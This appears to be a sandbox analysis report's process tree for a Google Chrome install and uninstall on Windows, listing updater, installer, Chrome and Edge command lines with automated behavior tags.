C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=151.0.7910.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2b8,0x2bc,0x2c0,0x2b4,0x2c4,0x8212f4,0x821300,0x82130c2⤵
- Drops file in Program Files directory
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --system --windows-service --service=update1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=151.0.7910.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2ac,0x2b0,0x2b4,0x2a8,0x2b8,0x8212f4,0x821300,0x82130c2⤵
- Drops file in Program Files directory
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --unzip-worker --system --mojo-platform-channel-handle=19882⤵
- Drops file in Windows directory
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=151.0.7910.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2b0,0x2b4,0x2b8,0x17c,0x2bc,0x8212f4,0x821300,0x82130c3⤵
- Drops file in Program Files directory
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping1756_1579400764\150.0.7871.47_chrome_installer_uncompressed.exe"C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping1756_1579400764\150.0.7871.47_chrome_installer_uncompressed.exe" --verbose-logging --do-not-launch-chrome --channel=stable2⤵
- Executes dropped EXE
-
C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping1756_1579400764\CR_E319E.tmp\setup.exe"C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping1756_1579400764\CR_E319E.tmp\setup.exe" --uncompressed-archive="C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping1756_1579400764\CR_E319E.tmp\CHROME.7Z" --verbose-logging --do-not-launch-chrome --channel=stable3⤵
- Boot or Logon Autostart Execution: Active Setup
- Drops file in Program Files directory
- Executes dropped EXE
- System Network Configuration Discovery: Internet Connection Discovery
- Modifies registry class
-
C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping1756_1579400764\CR_E319E.tmp\setup.exeC:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping1756_1579400764\CR_E319E.tmp\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=150.0.7871.47 --attachment=C:\Windows\SystemTemp\chrome_installer.log "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x29c,0x2a0,0x2a4,0x278,0x2a8,0x7ff776f88980,0x7ff776f8898c,0x7ff776f889984⤵
- Drops file in Windows directory
- Executes dropped EXE
-
-
C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping1756_1579400764\CR_E319E.tmp\setup.exe"C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping1756_1579400764\CR_E319E.tmp\setup.exe" --channel=stable --system-level --verbose-logging --create-shortcuts=2 --install-level=14⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping1756_1579400764\CR_E319E.tmp\setup.exeC:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping1756_1579400764\CR_E319E.tmp\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=150.0.7871.47 --attachment=C:\Windows\SystemTemp\chrome_installer.log "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x29c,0x2a0,0x2a4,0xac,0x2a8,0x7ff776f88980,0x7ff776f8898c,0x7ff776f889985⤵
- Executes dropped EXE
-
-
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{5BD95610-9434-43C2-886C-57852CC8A120} -Embedding1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{FCC74B77-EC3E-4DD8-A80B-008A702075A9}1⤵
- System Location Discovery: System Language Discovery
-
C:\Program Files\Google\Chrome\Application\150.0.7871.47\Installer\setup.exe"C:\Program Files\Google\Chrome\Application\150.0.7871.47\Installer\setup.exe" --uninstall --channel=stable --system-level --verbose-logging2⤵
- Boot or Logon Autostart Execution: Active Setup
- Executes dropped EXE
- Modifies registry class
-
C:\Program Files\Google\Chrome\Application\150.0.7871.47\Installer\setup.exe"C:\Program Files\Google\Chrome\Application\150.0.7871.47\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=150.0.7871.47 --attachment=C:\Windows\SystemTemp\chrome_installer.log "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x294,0x298,0x29c,0x23c,0x2a0,0x7ff662698980,0x7ff66269898c,0x7ff6626989983⤵
- Executes dropped EXE
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --uninstall3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=150.0.7871.47 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffaf4bbba50,0x7ffaf4bbba5c,0x7ffaf4bbba684⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1832,i,13187348023265891189,18336337153188991587,524288 --field-trial-handle=1932,i,3954908299474580112,6671739257174907106,262144 --variations-seed-version --pseudonymization-salt-handle=1936,i,8438425580643320506,16238822240791311349,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1964 /prefetch:114⤵
- Executes dropped EXE
- Loads dropped DLL
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAOAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --metrics-shmem-handle=1612,i,5872367270145505440,7180092729843083978,262144 --field-trial-handle=1932,i,3954908299474580112,6671739257174907106,262144 --variations-seed-version --pseudonymization-salt-handle=1936,i,8438425580643320506,16238822240791311349,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1928 /prefetch:24⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Program Files\Google\Chrome\Application\150.0.7871.47\os_update_handler.exe"C:\Program Files\Google\Chrome\Application\150.0.7871.47\os_update_handler.exe" --uninstall --system-level3⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://support.google.com/chrome?p=chrome_uninstall_survey&crversion=150.0.7871.47&os=10.0.261003⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f4,0x2f8,0x2fc,0x2f0,0x368,0x7ffaf4bac188,0x7ffaf4bac194,0x7ffaf4bac1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1524,i,17211830163811359584,2665396090483465,262144 --field-trial-handle=2284,i,17758351205526212919,5697687865705900954,262144 --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1820,i,1283204501149312847,1946454010401752563,524288 --field-trial-handle=2284,i,17758351205526212919,5697687865705900954,262144 --variations-seed-version --mojo-platform-channel-handle=2740 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2484,i,2451947900869359590,7366056738446673756,524288 --field-trial-handle=2284,i,17758351205526212919,5697687865705900954,262144 --variations-seed-version --mojo-platform-channel-handle=2996 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3560,i,9882099085507092632,14751370901688246879,2097152 --field-trial-handle=2284,i,17758351205526212919,5697687865705900954,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3564,i,13421562343512421265,3418054260233651592,2097152 --field-trial-handle=2284,i,17758351205526212919,5697687865705900954,262144 --variations-seed-version --mojo-platform-channel-handle=3636 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4148,i,17284695180283125414,12772226748773790349,2097152 --field-trial-handle=2284,i,17758351205526212919,5697687865705900954,262144 --variations-seed-version --mojo-platform-channel-handle=4164 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=5164,i,11782183529203393989,13307716822037807734,2097152 --field-trial-handle=2284,i,17758351205526212919,5697687865705900954,262144 --variations-seed-version --mojo-platform-channel-handle=5136 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5456,i,12678199937702176523,3002600518954708111,524288 --field-trial-handle=2284,i,17758351205526212919,5697687865705900954,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5460,i,17137053136259387584,11396829601410698716,524288 --field-trial-handle=2284,i,17758351205526212919,5697687865705900954,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6212,i,9151041374555342867,12773409051005746722,524288 --field-trial-handle=2284,i,17758351205526212919,5697687865705900954,262144 --variations-seed-version --mojo-platform-channel-handle=6236 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6212,i,9151041374555342867,12773409051005746722,524288 --field-trial-handle=2284,i,17758351205526212919,5697687865705900954,262144 --variations-seed-version --mojo-platform-channel-handle=6236 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=7160,i,7874634602988091909,7662750408471491358,2097152 --field-trial-handle=2284,i,17758351205526212919,5697687865705900954,262144 --variations-seed-version --mojo-platform-channel-handle=6464 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=7016,i,15401941801911478301,12422031267314721735,2097152 --field-trial-handle=2284,i,17758351205526212919,5697687865705900954,262144 --variations-seed-version --mojo-platform-channel-handle=7012 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3460,i,7430702916745133760,5877381000732997670,524288 --field-trial-handle=2284,i,17758351205526212919,5697687865705900954,262144 --variations-seed-version --mojo-platform-channel-handle=6976 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5324,i,13819711936533990466,1973352758547031269,524288 --field-trial-handle=2284,i,17758351205526212919,5697687865705900954,262144 --variations-seed-version --mojo-platform-channel-handle=6960 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=7384,i,15283958368500411434,2230278187709884193,2097152 --field-trial-handle=2284,i,17758351205526212919,5697687865705900954,262144 --variations-seed-version --mojo-platform-channel-handle=7396 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window4⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x270,0x7ffaf4bac188,0x7ffaf4bac194,0x7ffaf4bac1a05⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1552,i,11384777335898678111,15498838935118205303,262144 --field-trial-handle=2248,i,16584594293644122448,1054752483086041713,262144 --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1696,i,7525943369120027249,17644074509861367613,524288 --field-trial-handle=2248,i,16584594293644122448,1054752483086041713,262144 --variations-seed-version --mojo-platform-channel-handle=2284 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2444,i,8220161048091693933,15530550825656158080,524288 --field-trial-handle=2248,i,16584594293644122448,1054752483086041713,262144 --variations-seed-version --mojo-platform-channel-handle=3448 /prefetch:135⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4452,i,8632742287041575177,12935252414370147331,524288 --field-trial-handle=2248,i,16584594293644122448,1054752483086041713,262144 --variations-seed-version --mojo-platform-channel-handle=4468 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4452,i,8632742287041575177,12935252414370147331,524288 --field-trial-handle=2248,i,16584594293644122448,1054752483086041713,262144 --variations-seed-version --mojo-platform-channel-handle=4468 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4908,i,8783193250756834301,16153002836971111990,524288 --field-trial-handle=2248,i,16584594293644122448,1054752483086041713,262144 --variations-seed-version --mojo-platform-channel-handle=4464 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4548,i,4395856984650392868,10795429618684065010,524288 --field-trial-handle=2248,i,16584594293644122448,1054752483086041713,262144 --variations-seed-version --mojo-platform-channel-handle=4940 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4924,i,8533109695622562116,13376360270341679965,524288 --field-trial-handle=2248,i,16584594293644122448,1054752483086041713,262144 --variations-seed-version --mojo-platform-channel-handle=4976 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4956,i,4266115722599521232,7155330878225686939,524288 --field-trial-handle=2248,i,16584594293644122448,1054752483086041713,262144 --variations-seed-version --mojo-platform-channel-handle=4912 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5292,i,9468800114221563135,11758048864311189383,2097152 --field-trial-handle=2248,i,16584594293644122448,1054752483086041713,262144 --variations-seed-version --mojo-platform-channel-handle=5272 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5276,i,10013378923810491480,16956863881909140954,2097152 --field-trial-handle=2248,i,16584594293644122448,1054752483086041713,262144 --variations-seed-version --mojo-platform-channel-handle=5284 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5780,i,12722033585181078787,14701403330693281002,524288 --field-trial-handle=2248,i,16584594293644122448,1054752483086041713,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5784,i,17500048249447881,15155641085552033440,524288 --field-trial-handle=2248,i,16584594293644122448,1054752483086041713,262144 --variations-seed-version --mojo-platform-channel-handle=5876 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6476,i,17813074099969084221,18163223753145170511,2097152 --field-trial-handle=2248,i,16584594293644122448,1054752483086041713,262144 --variations-seed-version --mojo-platform-channel-handle=6576 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window5⤵
- Drops file in Windows directory
- Loads dropped DLL
- Enumerates system info in registry
- Modifies data under HKEY_USERS
-
